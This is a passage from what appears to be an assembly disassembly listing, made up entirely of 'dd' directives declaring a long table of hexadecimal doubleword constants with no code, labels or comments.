		dd 0B4F15960h, 5D7B4C26h, 9F77A524h, 14E927F4h,	5926886Bh
		dd 9FB9644Ch, 0FFF1C034h, 11F21619h, 1CEBA95Bh,	63962AAh
		dd 0FBAFE343h, 3AF3974Eh, 0A64587F2h, 0D6AA0C8Ch, 6A29306Bh
		dd 5F322598h, 3023FEAh,	45F15033h, 0B059AE13h, 1F3F78DFh
		dd 1104BA1Eh, 0ACF27A86h, 88B5637Bh, 0B990460Eh, 0C0000679h
		dd 0AF9FE95Eh, 90B84081h, 43EBF0F2h, 84349DEDh,	0DD13A4AEh
		dd 0B070FCA8h, 588A44B5h, 0C2CFC6E2h, 0B02C7D1h, 217F9DE7h
		dd 8290DC38h, 0D02C5600h, 0AF2F744Bh, 12BE2251h, 0C3F58BA9h
		dd 0A83D9081h, 84F9AF43h, 0DEE7A667h, 0F899E1DEh, 0CD7B046Ah
		dd 7D00EC0Ah, 61D559B8h, 87BF63DEh, 82026E1Bh, 8BAF7AFCh
		dd 32889780h, 0F1226642h, 6F44AA47h, 0D157D4BEh, 909FE88Bh
		dd 75197288h, 7B4EF329h, 0D3059617h, 51990C89h,	8502164Ch
		dd 0F01D8398h, 7DBF5C10h, 68AF84D7h, 39DFECD7h,	3CED48EBh
		dd 254A1524h, 80B4613Eh
		dd 0BD5BC5E3h, 40C20BDCh, 0C196547Fh, 14D08BD0h, 0DA2DD3BAh
		dd 9E55E36Ch, 22DD919Fh, 0EC4111B3h, 7941CF97h,	49C34115h
		dd 189EC68Ah, 3BDF62F8h, 9155BE6h, 0CE4D1B4Bh, 0E0B6AF88h
		dd 0D6FB6CAEh, 45CD4564h, 0A203CA05h, 0C36367F9h, 4F064E35h
		dd 0EEE934EFh, 6285966Bh, 48ECC8F5h, 2FD2623Bh,	0D833EE0Ch
		dd 0E049B4Bh, 0B7AF5C1Dh, 0E1434C26h, 0FD8D2AD3h, 30A20B7Ah
		dd 81D85BEDh, 0C8BCD2E4h, 0F39135DFh, 4280AD08h, 3301AB95h
		dd 0B2272FE3h, 0B006CD56h, 596C32F5h, 0A9AFE0F5h, 77272C40h
		dd 0CBC4D2BEh, 0C1BEE6D2h, 0C48482F7h, 0AFB4ADADh, 7F21D895h
		dd 10651BDh, 1B27F9A1h,	91C93B07h, 0DB8399E9h, 7331A595h
		dd 0BF4FF305h, 0D50F512Ah, 0D32B3289h, 8B3EE831h, 0D8A86F68h
		dd 0CCAE5D0Fh, 0CC0443BEh, 291F2D61h, 5DDC9252h, 1EF342Fh
		dd 502DC08Dh, 0A7A50412h, 4CEEB553h, 472CA09Ah,	0E75D5D1Eh
		dd 7BA04892h, 0F33A5436h, 8F121613h, 70605145h,	7EFE1EDCh
		dd 83A295C5h, 9517EB49h, 61560397h, 5CD81B41h, 7B3D94AFh
		dd 7FF2F154h, 0D4840199h, 0E77F564Eh, 7E0202Dh,	62D72C52h
		dd 0FFA50285h, 37277139h, 0B325B58Dh, 13AD4F86h, 3930B771h
		dd 0A0E0A7B1h, 20871A52h, 33E86C90h, 0C9C71BCEh, 0FEE26B94h
		dd 0F9976E44h, 0BAA2C9D7h, 30420D9Dh, 798A3B7Ah, 19D49EA1h
		dd 0BE8EE691h, 4C16431Bh, 0EA7A1098h, 25F6D4B1h, 8D36F216h
		dd 0B4AD861Fh, 3CF49836h, 6BE6A616h, 42AD1F9Ah,	298A48FBh
		dd 2269D381h, 0AA7CC806h, 0F8DC084Fh, 0EC71C9DDh, 0BE7F4303h
		dd 8169F654h, 76151977h, 0BCE11EDCh, 0EBE0B96Fh, 0E6900E8h
		dd 3E87FFA2h, 6F970C8Eh, 567AE6D2h, 9F4A256Eh, 0E7D74770h
		dd 5417899Ah, 4B45D06Bh, 0EDC754EDh, 0CC8E583Ch, 0DF685493h
		dd 38A76CA0h, 11021C83h, 0D20F7B19h, 0A4780192h, 63F7D163h
		dd 1A68E1CCh, 70304FBFh, 0AEB990BEh, 319C1FEEh,	0D4DC398Dh
		dd 0A581614h, 0F3876628h, 6E42A29Ah, 538ADE39h,	64DF2FAFh
		dd 0C09CCF32h, 0C13019F2h, 27AA448Fh, 9690C5Eh,	0A0FA9C96h
		dd 994CF0D8h, 674784E1h, 2AFA72F1h, 6420CAFCh, 92EF6163h
		dd 9DB5FB3Fh, 0B55F9AA6h, 253A9A53h, 0B197F01h,	0E3A81EB8h
		dd 82B3A050h, 0B127EC37h, 0DE434548h, 5B103130h, 0FC7C01Eh
		dd 4E7F3223h, 3C776409h, 1EB7207Fh, 822BD565h, 0D1EC6F41h
		dd 23508B64h, 1CAFA8EBh, 71FB8EA1h, 9C74F5F7h, 76CC7BD7h
		dd 20DE9E93h, 3E0E5E53h, 0FD18BD6h, 0E1D2F7D9h,	0F82A62A3h
		dd 30499F41h, 41E59EC8h, 8D557526h, 0F12FA116h,	6DE3328Ah
		dd 6EFCFEE1h, 0A4CF4E83h, 50A1C2A3h, 0DB499D4Dh, 0B416D81Bh
		dd 0FF06AE99h, 0C5E2A2F2h, 37FAFB85h, 2C8B8F69h, 0A80F00B0h
		dd 12638927h, 9A10D71Ah, 510768BEh, 5BC56760h, 37594563h
		dd 5BF54935h, 76E8D06Bh, 87E29FCBh, 0F44E8180h,	0D8FA3258h
		dd 0B5C66CBBh, 2CF17740h, 0D67F80Fh, 932B244Bh,	0DA2A2AFDh
		dd 79C68E7Ch, 0FA53021Ch, 17350DA6h, 30945A4Ah,	67C051C2h
		dd 0D15557B4h, 0B6F03DB0h, 0E0D7A14Eh, 8C1FD8E7h, 5DABA59h
		dd 0C8DA415Bh, 37AA09C1h, 0E20C461Fh, 9D81A44Bh, 0AA67925Bh
		dd 5766066Eh, 56D6D4E0h, 9AA2033h, 0DA1591BBh, 90D23C1Eh
		dd 6BBDCD6Ah, 0D3D8685Eh, 0ADA63398h, 6AD5363h,	4398CAF6h
		dd 6DDD8317h, 667FEBF3h, 81DC658Fh, 76070F56h, 6A7A64B0h
		dd 0BA52C119h, 629DD1C7h, 6F32410Fh, 8F96DB8Eh,	0B5660DDBh
		dd 1FA13DD2h, 0B0464FCFh, 0C4FDAB87h, 3E183E33h, 8F8DB3E1h
		dd 0D86E0828h, 2CE937h,	1446E31Dh, 91FD939Dh, 67C8271Bh
		dd 47BEF1BEh, 126FC5FBh, 1CC14C26h, 3C0F6BA6h, 8C0FEB69h
		dd 1EE65216h, 0B1B16E7Ch, 9C6CA2C3h, 78EF08A9h,	1ACA323Bh
		dd 6DFA709Bh, 66AC31E4h, 0ED2D38C7h, 0AE9CAE38h, 957B37CCh
		dd 0D46A9283h, 48724DD5h, 9DB965F4h, 8D5129BBh,	0CE47E9F3h
		dd 0ECA8AB4Eh, 85B545F2h, 504835EFh, 0E4127AD7h, 1E5684A1h
		dd 76A678B3h, 17F0EF3Bh, 327836F0h, 0E68D4D2Ch,	0DAC16E90h
		dd 0E923A7FFh, 3E753A6Bh, 3E133ED9h, 0A913B5BAh, 9A16134Ah
		dd 1BB7224Ah, 0A86347Eh, 6A4F9327h, 0E1FC02F6h,	0A69EF1Bh
		dd 82155D95h, 0C62FF7FCh, 0EFC8F7ADh, 1DB1E568h, 0E4B7AF94h
		dd 0EC4B7A86h, 5FA9055Fh, 0D084BB76h, 56702A1h,	35D19B74h
		dd 9DDE9EE6h, 496B58DEh, 85D1257Eh, 24698360h, 136DFE58h
		dd 0C63D7A55h, 0A0E80D63h, 0C3988652h, 0EADC8181h, 93FA0A99h
		dd 566BFF49h, 0FCF91E93h, 6AF5565Ch, 1217F6FDh,	0D8E5E34Fh
		dd 5CCA8A4Ch, 0EDC2B6B6h, 96D86EBCh, 2B588607h,	14A3FA68h
		dd 41AB8F6Ah, 0D8EF0645h, 4AB823DCh, 0B35D90A3h, 0E78B344h
		dd 1DB230B1h, 0FBA5ACA6h, 384ABBF4h, 0ADD766A4h, 8183F11Dh
		dd 429591C1h, 0D96631F0h, 8D308419h, 0CA8D9067h, 0B745A4ADh
		dd 0EDBFE7D5h, 1006584h, 0AB6DD735h, 0DDFC9DB1h, 0D312EFF1h
		dd 0E3CFC6FBh, 0BD34FE0Bh, 81C63Eh, 5F796ACBh, 9B3FFCEEh
		dd 8127C282h, 9C9931B1h, 1EFDAF67h, 9F3E81A2h, 0C398C952h
		dd 0E6061C87h, 9AB8073Dh, 84DC99EEh, 0F2670EAh,	401A482Fh
		dd 0F25AD6B1h, 1539C669h, 25EF0A04h, 0E39A0DA0h, 0E272F085h
		dd 42033755h, 90BB820Ch, 1D8E0953h, 304B19F6h, 0F4F29AEFh
		dd 23E29AD2h, 4F6599Dh,	6DAE34CFh, 615B014Ch, 9FFD4AF5h
		dd 0DBFD1DEFh, 0FDDC2873h, 3D1FB567h, 35DAA35h,	44D1A25Ch
		dd 0B138093Eh, 66BEB915h, 0B8A3E3ACh, 51274627h, 3A2D6D33h
		dd 0D574D3F9h, 781798C8h, 27C9BC59h, 9C37F605h,	0C131AD4Ch
		dd 0C235F0ACh, 0B0AE1CAEh, 58C44431h, 0F615417h, 0A390376Fh
		dd 0E06E6030h, 0DA6F4B43h, 2F365E24h, 9848086Ch, 0DBD0DEA9h
		dd 5C23E080h, 1D2A2CD3h, 11360749h, 6468347Bh, 1AC6A5D4h
		dd 0DCF2FCCEh, 0D343AD2Bh, 0EA7A0080h, 83A8C192h, 2256F3E5h
		dd 9936A320h, 3D4ED4C0h, 0E0445219h, 0C99A44D2h, 99D141C1h
		dd 0E776203Bh, 0B8DFD1D9h, 379FBBEDh, 0C75B5CF3h, 0FAC9CE4Ch
		dd 468F2AD6h, 317441CAh, 9BFACDCCh, 6C3261ABh, 0D2C92A45h
		dd 0F9A9427Eh, 8F25B62Bh, 0B57AADA6h, 1662704Bh, 0BE25D8AFh
		dd 32EF5023h, 93B68327h, 0F1D8772Bh, 0AE6BD5CFh, 998FDDD8h
		dd 2AD9D761h, 0EBA3D95h, 0BEB132D4h, 0E6354E2h,	8D79390Eh
		dd 6023139Bh, 8C953565h, 67EDA70Dh, 0B7F1EEFAh,	0D35D3B4Dh
		dd 0DAE3FB0Ah, 9B1BF50Ch, 0F44F12CFh, 0C39028BCh, 499E4243h
		dd 3374BDC2h, 5B4A2079h, 142518AFh, 0CE531D3Eh,	0BC55A654h
		dd 0D6D349E7h, 0C441C330h, 0FFC01EFBh, 4281A756h, 0EC836BDDh
		dd 0B70BF23Fh, 52575E19h, 8B7BCB40h, 0C430D0C3h, 1C0703E9h
		dd 17AF66C7h, 5980C935h, 8CBC2D82h, 0B80152C7h,	0F9B5B933h
		dd 713C0DB0h, 0A2936E12h, 0F85A1A5Dh, 7D18816Bh, 5B541028h
		dd 0BAB0AC73h, 13CEDE02h, 0B6EA6B5Ah, 0C1550439h, 98E2921Dh
		dd 2C690ACBh, 0F4030B33h, 0F9A89BC3h, 1C28921Ah, 342A4A41h
		dd 57691AFCh, 0D59D6453h, 0D949DF40h, 60EC45A4h, 7DB72B45h
		dd 79D7735Bh, 850E1A64h, 58460A5Bh, 2E1F1659h, 96A1F9E8h
		dd 0D6096021h, 57E5C327h, 8C1545ACh, 966D8D5h, 55D1DB16h
		dd 40D4C245h, 4C2236E4h, 5347F861h, 61CE616Ah, 2F6EF28Ah
		dd 4FACD28Ch, 65B24457h, 40A9FB1h, 0FED50DBDh, 4F954089h
		dd 8784E94h, 4B103F11h,	70FA61E3h, 4524F75Fh, 4A66E64h
		dd 2A885FD8h, 86C6D115h
		dd 14D4E43Bh, 0CAE104CFh, 41640A3Eh, 7F55C666h,	2C246250h
		dd 94158F88h, 8118751h,	0F7637AD7h, 0C89083E3h,	80103C12h
		dd 32CDAB65h, 0F187B053h, 44277BF0h, 3F6A7DCAh,	0FE8EBAECh
		dd 0CC901D3Ah, 4FC9F1B5h, 2DCADBF3h, 941A1DCBh,	98E05BC4h
		dd 76D49B0Ch, 71B21575h, 84C43FBFh, 0D15FC1AEh,	87F491D6h
		dd 0A1F1C7A5h, 73EF1F5h, 94D7D128h, 5FE23DC8h, 3E34B086h
		dd 1B89AFD3h, 0ACD170CCh, 0C3B9B8E3h, 0F60BB7DBh, 1DE8670h
		dd 0D31E3437h, 7A36BBAFh, 0DBA90764h, 0C0BC8528h, 0FEDB79F4h
		dd 0ACBC6DE0h, 0FA3E28E4h, 8324E55Ch, 534469FAh, 0ACBC6A74h
		dd 9BE855FFh, 3BEF224Fh, 94018357h, 413EFD14h, 67D1F9D0h
		dd 0A871F3E7h, 16A0CEB2h, 35D97E62h, 47AB8891h,	1FDCD5F1h
		dd 19CEA708h, 0B93BD83Eh, 0F99B3BB2h, 982C983h,	65196846h
		dd 0CF870CF8h, 3CE92A8Ch, 9BC3BC8Fh, 3A9B2C0Ch,	0BB63BCEEh
		dd 771274A0h, 0D26F5CADh, 0DB48F95Ah, 46E6F591h, 0CB1FDFFCh
		dd 48481B1Eh, 0E409AA56h, 41454E7Ch, 677A2850h,	5DAEB519h
		dd 179D21B3h, 0BAA30E8Fh, 7CF590DDh, 4B50DB33h,	0AB054C2h
		dd 4AA596ECh, 0C63BFBC9h, 0D4954F8h, 427AEBD0h,	2DF27A28h
		dd 0F30E56F2h, 0E73FBAEh, 0DF3DF498h, 77BA966Bh, 0E65DE66Bh
		dd 0E7F65145h, 0A15BAACh, 370FD4D3h, 0F827C4D2h, 0EA244D1Ah
		dd 2CC36475h, 9F717AEh,	60F157BCh, 0B204F1F7h, 959DB77Eh
		dd 65F499AAh, 7EF91465h, 0D1A21E75h, 0CFBF12BDh, 0E0B27F7Ch
		dd 225CABB7h, 806E968h,	5588A987h, 6F009058h, 5A817837h
		dd 706FAB6Eh, 0C35E588Bh, 9FB6B7BCh, 8007F3D8h,	8522A850h
		dd 48F80F1Fh, 0EA9046F5h, 0E35F7278h, 0A689B7ADh, 6DF5B908h
		dd 0B00FFCE2h, 85757192h, 0FCA5FC4Ah, 8E91308h,	280AE3D9h
		dd 53045162h, 99F18465h, 75291B72h, 62ACCB4Ah, 831AA7E9h
		dd 84A795E9h, 0FA636046h, 7327593Ch, 4895714Ah,	34F1570h
		dd 2351E664h, 60F16A4Eh, 430CFD67h, 0F74390F9h,	7485155Ah
		dd 718F4F14h, 0A639D269h, 76695852h, 0F6A75D62h, 0A61BCBA2h
		dd 47569462h, 0E15A49D2h, 0C82B745Ah, 0C070D528h, 0F4922B56h
		dd 0DE051B4Fh, 0E3B0527Fh, 0ABDCA957h, 7D09E8FDh, 0CB6011E0h
		dd 0C1D34F37h, 0B469EEFCh, 0D38F5C9Ah, 21CE2B26h, 0FBF2BD24h
		dd 2D8C43C0h, 7C081EF3h, 6DEF75CCh, 250C2E5h, 0A1B80E1h
		dd 66CE963Ah, 0DDA048FFh, 0B6E35BFBh, 0A507FA79h, 1D950F09h
		dd 0AA553D5Dh, 2DFAC274h, 446AFB3Ch, 0CA0E5F0Fh, 78019739h
		dd 0CC934ECAh, 44271B23h, 13719E66h, 0BDAF489Ch, 0C914C8A7h
		dd 14F12A3Fh, 193A1B25h, 0C31DE8AAh, 0F0D62DB3h, 3F0272E6h
		dd 50C48D0Fh, 6BADF384h, 0E3291EA3h, 8B78D3D1h,	0D9420F9h
		dd 0B2A4D87Dh, 0F64E383Dh, 0C4FA8B1Ah, 0CBD9B865h, 0AFD3D865h
		dd 0C0BA642Bh, 9CCB7E73h, 0CAE0576Bh, 145D1E6Eh, 6FCBAA61h
		dd 41970761h, 3AD5BF01h, 6785DAC4h, 4B16B6AEh, 724A6536h
		dd 1DE35603h, 78D01A7Ah, 0E3F608C2h, 0A382433Eh, 87BC35EEh
		dd 3EAB4907h, 864DB79Bh, 1D22ABD5h, 896A1FB1h, 43F195E5h
		dd 0C7EB4FE5h, 57C1CC8Fh, 0E4547EF8h, 170B088Ch, 0AC002F1Dh
		dd 6F530272h, 74C6E173h, 818C7239h, 0DF2C26A8h,	99164EC4h
		dd 0F310E4FCh, 863C049Fh, 2B25A45Dh, 0F11B2E81h, 95919601h
		dd 0BC31E65Bh, 0DF541AF9h, 0C879E59Ah, 0EA4DEE9Ah, 0EBAB0476h
		dd 80661401h, 0E77C777Ch, 0C6C9616Eh, 58A5BFC6h, 86CD4A26h
		dd 455F3D4h, 1A6429B0h,	10903279h, 0D52740EFh, 64BEA7E2h
		dd 4CD8AB9Bh, 8001CB29h, 6259950Dh, 895D329Ch, 9774E646h
		dd 0DECB1A27h, 0E43B7B40h, 8909679Eh, 446565B4h, 78959DB5h
		dd 8AE1BD30h, 0F131FC34h, 0A21F8DE0h, 0CB176E02h, 8DD7F84Ah
		dd 0A444206Dh, 0C2F92349h, 58A1A536h, 0A19C0E64h, 507AC9A7h
		dd 0A6EAFB7Dh, 0C28972E2h, 2BB405B5h, 0C709AEA9h, 5E6869F8h
		dd 0EC02A363h, 3679DC3h, 368DCB8Ah, 603CFA81h, 566C8B6Bh
		dd 4D7E273Dh, 0C8DC8BD7h, 3F5FBB3Dh, 0D4722A8Bh, 0FB2749B4h
		dd 723D3838h, 2DAD408Ch, 57ACD441h, 5DECE0E7h, 0E19FAA63h
		dd 0D8AF854Bh, 7B4202D6h, 647DF67h, 572C429Ah, 0F533AC0h
		dd 5B667E50h, 0BB68D488h, 0BB84F21Ah, 58095002h, 0B0786F0Ch
		dd 28BEF408h, 0B30E243h, 0AE6C26EAh, 0E4636AC8h, 0C7684D04h
		dd 28F5857Ah, 695D4937h, 0B7A7A2E0h, 4C0BCAE5h,	8A4A0D36h
		dd 7ABFD1CFh, 3508C473h, 7F738943h, 521094C5h, 62B29E04h
		dd 2E144194h, 1B851331h, 4DB554BEh, 0A73D5542h,	0A2D802A2h
		dd 2B909C1Ch, 2DC7CAF0h, 3B020E50h, 0A39ABEEh, 0EA1A2F5Ah
		dd 0BBE48587h, 935ECEDBh, 0CEBB86C4h, 3CC1FDAEh, 0E31C01DAh
		dd 0FBD2FDDh, 0A1309878h, 907963D6h, 0D3EE408Eh, 14ABDDh
		dd 0DC64E6EBh, 9FBAB1FCh, 0B359E07Ah, 0C927BCA8h, 64759588h
		dd 137454BAh, 9214CCEEh, 257992D0h, 0D17D6A47h,	585EB46Dh
		dd 0AB4F748Ch, 67A0FD33h, 0FE608A67h, 823E920Fh, 318D42B2h
		dd 0FE30CA44h, 0DE70BB57h, 4587C582h, 4D9DDDBCh, 0F7717EA3h
		dd 8C01D35Dh, 0EE3B818Fh, 24475ECEh, 0C7FB7374h, 0A7EFC250h
		dd 3D1BB243h, 2AD4453Ah, 0F6655E77h, 5B616523h,	490A9F5Eh
		dd 3EC4916Fh, 5DDDBADDh, 1E454DEDh, 37439F4Eh, 0E330F2BAh
		dd 0DEE9CCF7h, 3C8C0C98h, 46C1C847h, 14F6F652h,	9726F91Eh
		dd 1A391461h, 0B37A628h, 0DF460E13h, 5FE0BEDFh,	27652EF8h
		dd 0C859363Ah, 612EFD58h, 995436Dh, 2BDC38Dh, 963956BEh
		dd 0EFF78DAh, 65BF5103h, 0DED2994Fh, 74717442h,	0B77E7FEh
		dd 9BA022D0h, 0CCFC98EFh, 62553C1Ah, 0FCB11FF4h, 0AAEAE35Fh
		dd 35D86DECh, 0A9992E60h, 0CCC60799h, 3F4403D1h, 4C78C98Bh
		dd 8B54DF17h, 3D1FE5AAh, 4D73D67Eh, 17188BF8h, 0A1EA3BD9h
		dd 0F65C8E98h, 0FB86CE12h, 928DE052h, 0ADA24959h, 4EB7CF2Ah
		dd 9C8E1213h, 751ED672h, 9EBE72B2h, 44A52E97h, 3AEE4D8Bh
		dd 8BC8FDFAh, 0FEFD49A6h, 187A8DF3h, 7F8C0EBAh,	6E148371h
		dd 93512067h, 3F8A319Ah, 0C1B9B5B5h, 0E47C79DCh, 1D4486FCh
		dd 9BF2D4C5h, 3AFC3D3Ah, 0D8F1DAE8h, 0BE4F2AACh, 55DA4CCAh
		dd 3943B88Eh, 0C15A6F89h, 7AB2EE90h, 72AAE9FBh,	94A17660h
		dd 0F87D9E08h, 4B1E4C0Ah, 986AEF69h, 6915635Dh,	8F5FC3EAh
		dd 3761EF11h, 0F514BA0Dh, 5869E945h, 0CA8D0498h, 8C7FC4Eh
		dd 52454D8Bh, 94090450h, 5C980FF0h, 8747F56Bh, 0F349B4CEh
		dd 2462FE9h, 0A0966D85h, 7FA3895h, 8F1C5B79h, 60ED22D0h
		dd 98920768h, 0D8F47658h, 0F4132B89h, 0BFC2DF61h, 89507A37h
		dd 0E1602AA3h, 0C240F5C7h, 0DECCDA5Fh, 0F9EFA14Bh, 850162A4h
		dd 1A76B2F6h, 8F0C0F52h, 6F74915Eh, 0FA9A7C72h,	7894DC6Fh
		dd 8D570FE5h, 0DD3FF05Ch, 45561FD2h, 0ADD19BC9h, 2768E242h
		dd 0FE62C2ECh, 4629453Bh, 0D0E915AEh, 8CE47C8Bh, 30D35945h
		dd 0F703EE4Ah, 23FD44D0h, 2D0874BAh, 327946CBh,	0CA34F797h
		dd 7183483Ah, 8F4D0976h, 7407DEFBh, 0D125F95Ch,	0B66AE855h
		dd 74AAC9D2h, 8C52D350h, 8AB40D6Fh, 6C30E8B8h, 9D6F4149h
		dd 0B48E4C86h, 142F601Ah, 323B872Ch, 0A7588E5Ch, 5359CB62h
		dd 2FC939ECh, 0EE7E8929h, 5927E713h, 0D728BE1Fh, 0CE334888h
		dd 4F00B2E6h, 518C24A9h, 5994AA85h, 2FFC8308h, 71FD0404h
		dd 81DA9328h, 66591D9Fh, 0E894BB31h, 372BBFA2h,	0EA08F939h
		dd 0EA1EE427h, 0FE12D2D2h
		dd 4555655Eh, 0FBA33219h, 4F2B2461h, 0C5E289AFh, 9E9CADDAh
		dd 1CF5ADh, 386647D7h, 946737AFh, 580E5CE6h, 33EEEB58h
		dd 7F15456Dh, 0B23C8F84h, 54006275h, 4ED65AAFh,	3762B477h
		dd 1F8382F7h, 2CA54BFAh, 4062939h, 0DFA5007Eh, 6701FB3Fh
		dd 619EBD5Ah, 0A66E5940h, 0EC493A37h, 0FA0D52F6h, 44416AA8h
		dd 95E2DAF4h, 9E7028BEh, 0E2C689Dh, 93187CA9h, 69DF6533h
		dd 0D7D82FB3h, 1FD83B48h, 33764A79h, 0E449AE00h, 4704BE57h
		dd 35B8D371h, 4C45D380h, 0DF4A9E49h, 0E7EFA3Ch,	59FCE1D0h
		dd 0AA8A8A9Ah, 0A6B2D479h, 34FB6E45h, 0DC99FD47h, 0EF47B518h
		dd 0C7B78A90h, 0D2455A4Fh, 0A2D29D9Dh, 0DEA22690h, 6E28ED8Dh
		dd 834CF40Ah, 3C44F421h, 33428B45h, 4447B8B5h, 0B205D626h
		dd 401AC544h, 4014B606h, 0BC382DDDh, 849883ABh,	0F6665142h
		dd 7C38E42Fh, 178EEA71h, 1A57C89Dh, 1C6C70F0h, 30E6D99Fh
		dd 1804DD9Ch, 0FCB39807h, 821C418Dh, 2D8541D5h,	61111886h
		dd 250DC68h, 0F1D551D2h, 0DFFE871Ah, 338E772Ah,	45F7E861h
		dd 73D83846h, 9DD00451h, 92B26052h, 19D398B1h, 0B2E86777h
		dd 0B2883020h, 0C9490285h, 55174BFh, 7280C4B6h,	5EB57CA5h
		dd 9B06AD7Dh, 333F0DB0h, 0BAF536EBh, 2F227593h,	0DDB279BBh
		dd 8E7C76CEh, 33AA3F70h, 0F8AF32BFh, 41C949E2h,	76D5147Bh
		dd 0A3E7CAFCh, 0CCA7A357h, 0FBDC0368h, 38E9A171h, 1AD389BAh
		dd 29C2E8F5h, 7B3782Ch,	42E903BBh, 546CBADh, 0FC0FA35h
		dd 0E23E415Eh, 6F2CD51Bh, 0E65DB8AFh, 0E6ED4B52h, 918FF844h
		dd 0A8CDB51Dh, 9E9BBD42h, 9D156B28h, 48CEEA75h,	0DB53E036h
		dd 0A1030C0h, 0A363C2A8h, 5E516813h, 591EFCD3h,	0AF794759h
		dd 9B210CC1h, 83DAE0A9h, 586DA441h, 0EFEBEADh, 0BD5996EEh
		dd 86652E6Fh, 0E10EAA7Ah, 44252D3Bh, 0F697A569h, 51E3DBD3h
		dd 0F083043Dh, 71D0C871h, 45442CD8h, 5132546Ch,	3DE490A2h
		dd 97A48AA5h, 0B2221A26h, 4756AA03h, 34FC968Ah,	89A77228h
		dd 0D3F26771h, 0F00822DAh, 0F4448CDCh, 0F5FE13A4h, 949A4423h
		dd 0AE19F1h, 7452A1BDh,	0C8C3C82Fh, 0F875B282h,	8F4367F2h
		dd 267838ACh, 4CBC89A3h, 0B35A55CFh, 0E3370603h, 0B6C59549h
		dd 0BE1E41E5h, 0C0F87EBDh, 536FBC56h, 0D82B8A7Fh, 88E5BF9Ch
		dd 219C7CC8h, 8B7B42C4h, 0C665BFA3h, 0B54EAB81h, 6669D9D7h
		dd 0D0D361B5h, 0DAAD54F9h, 0E3F88A2Fh, 0DA9B052Eh, 0AEEC5B51h
		dd 43B40F0Ah, 15B4E20Fh, 998DD910h, 4BE2370Ch, 73A7C26Fh
		dd 78801C7Ah, 0D9EE6BA2h, 6903BFB3h, 243EBB9Ch,	0B7A0E4DCh
		dd 63A71A23h, 372F2B49h, 0F365896Ch, 716ADEFh, 0E912F764h
		dd 0D1F49423h, 0DC186CBCh, 96403783h, 0AE8EC31Bh, 0ECD63209h
		dd 791351h, 605A0473h, 22761AC8h, 97A6ED16h, 0BA6F6378h
		dd 83D16136h, 65DAC9EDh, 20301FC3h, 5F0C81B5h, 6A1BBEA4h
		dd 0D90E4E5h, 0DEE7AE80h, 4D12AFB8h, 8BF3ACE9h,	678ECC79h
		dd 57F9AE13h, 0E1C1B585h, 42294130h, 1A62F7EEh,	7931AA4Bh
		dd 5CF8FA7Fh, 73ACF8E4h, 0F32F09BCh, 0DD6C5AEEh, 2928A23Eh
		dd 0E606793Fh, 0F051104Bh, 0B96DC343h, 0A7AD02B6h, 0D4C00DADh
		dd 0D9B14F93h, 429AA8FAh, 0C6A42068h, 0DD1A13FDh, 0AD6184CFh
		dd 780B4D05h, 0F9F2DF71h, 0E7888C4Bh, 0FBF2E042h, 73B38EB1h
		dd 100B860Ah, 0F5AC5643h, 0C651A774h, 5B89129h,	39634721h
		dd 872E6191h, 6E4E1EDCh, 0A035334h, 0F84594B1h,	0CA9012D0h
		dd 9FBEB9DCh, 95F1179Eh, 2D773A2Fh, 60E397D8h, 9AF6C0DDh
		dd 379A5F7h, 9108099Ch,	0D747760Fh, 9B8E0233h, 16889900h
		dd 13616402h, 7574174Ah, 0CC73266Fh, 0B97198h, 0CA5C5F9Ch
		dd 1670B0FCh, 2B8C55F0h, 0C8EC6F54h, 0F36C62FFh, 9590B694h
		dd 84D5EAB9h, 1CE6B544h, 0E934EEFFh, 91149628h,	0CC5FCD65h
		dd 0A33FF55Dh, 0CCA24BF2h, 0DD31BCA5h, 598C380h, 470DBE8Ch
		dd 0C06B23BBh, 41010964h, 85B6DFD2h, 35F03A6Eh,	9DEC3295h
		dd 0BE29650Fh, 15133AC9h, 0B59840CEh, 0E9D3FABEh, 88686E00h
		dd 5D46824Ch, 118B64C7h, 6985EAD3h, 809C098Bh, 98118B00h
		dd 0B42329DBh, 0A4A9A48Fh, 0AFE68A2Eh, 8812B32Ch, 0D5478E64h
		dd 0A265053Ah, 0D8AAD0C9h, 229A1958h, 7478F720h, 36B34174h
		dd 427317F8h, 4D508BDh,	153B1AEEh, 1C1AB632h, 0B21F26FAh
		dd 325CAAFEh, 112CE776h, 8A49A96Bh, 0FC0CF34h, 82431F06h
		dd 355D5A1Bh, 5A1E361Dh, 48B691CCh, 1C5F14A5h, 0ADCBEF15h
		dd 65F01F56h, 6BAACBE4h, 1C60ECBEh, 1AA1D70Bh, 3FDCC5h
		dd 13866526h, 8DC02D36h, 910DB91Fh, 0CAF3CA6Bh,	75E34C69h
		dd 0B84CD7AFh, 23CB8AC4h, 69804BDDh, 6A259736h,	2C473A53h
		dd 20CF7FF0h, 8E62F34Eh, 93409C9Eh, 1CDF0D65h, 0E5E65741h
		dd 6ECCAC7Bh, 9B15F0D8h, 5F083EC0h, 0D028DA0Bh,	0CF957D94h
		dd 81B5F477h, 5B55B8E6h, 0FDB1E0E0h, 535C8B1Ah,	45BB071Ah
		dd 0A8464A47h, 0FF53234Ch, 0CF6E3130h, 67D95D02h, 13655FF2h
		dd 4E47063Fh, 28BAC3D3h, 0F6C08A29h, 928E2CB6h,	701DC989h
		dd 0EA5F49E1h, 97154AE4h, 66FCE765h, 1AE766EAh,	70DB024Eh
		dd 147E9DD8h, 0F62B53B4h, 0F4B987D5h, 214FE60Eh, 0FE1C91Eh
		dd 4545DBBBh, 33381716h, 8EE9EF53h, 2D95D714h, 27DFE9B2h
		dd 0D2C42A52h, 6F12A5A1h, 0A1A6BC18h, 0A4627BC8h, 14D175ADh
		dd 6804B33Bh, 62B54528h, 0B1A3ACB0h, 0A9BD4569h, 84F95B1Ah
		dd 42BC0EDDh, 0DD8067FAh, 82FFA6E3h, 759A5E3h, 3642985Ah
		dd 0DC121214h, 809B80FAh, 0CB6AFD08h, 0C636DF89h, 8A1D0731h
		dd 7301EB5Bh, 470C91F3h, 801EA816h, 0ACACE121h,	0AB6F8A80h
		dd 0BEAE2839h, 0A81F1283h, 0B23D4E6Fh, 16C0AE35h, 790D6E5Bh
		dd 6F5DF0A7h, 0B3273917h, 0C4223559h, 7A4E4406h, 55709478h
		dd 0D3114040h, 0FB250B8Ch, 1042C062h, 0F5D4A84h, 5D7F27D0h
		dd 1D7EEA08h, 0F82BE398h, 905BAADFh, 0EB42F58Bh, 9371BF6Ah
		dd 0E544567Ah, 0CE90D2A1h, 65974B95h, 0B691974Ch, 3C92AA30h
		dd 51299F93h, 0EFA1758Bh, 24E6215Ch, 7E7E89C7h,	51777EF7h
		dd 3A8D280Ah, 0B7E13DDAh, 3CE6BBD6h, 0B696421h,	2151490Fh
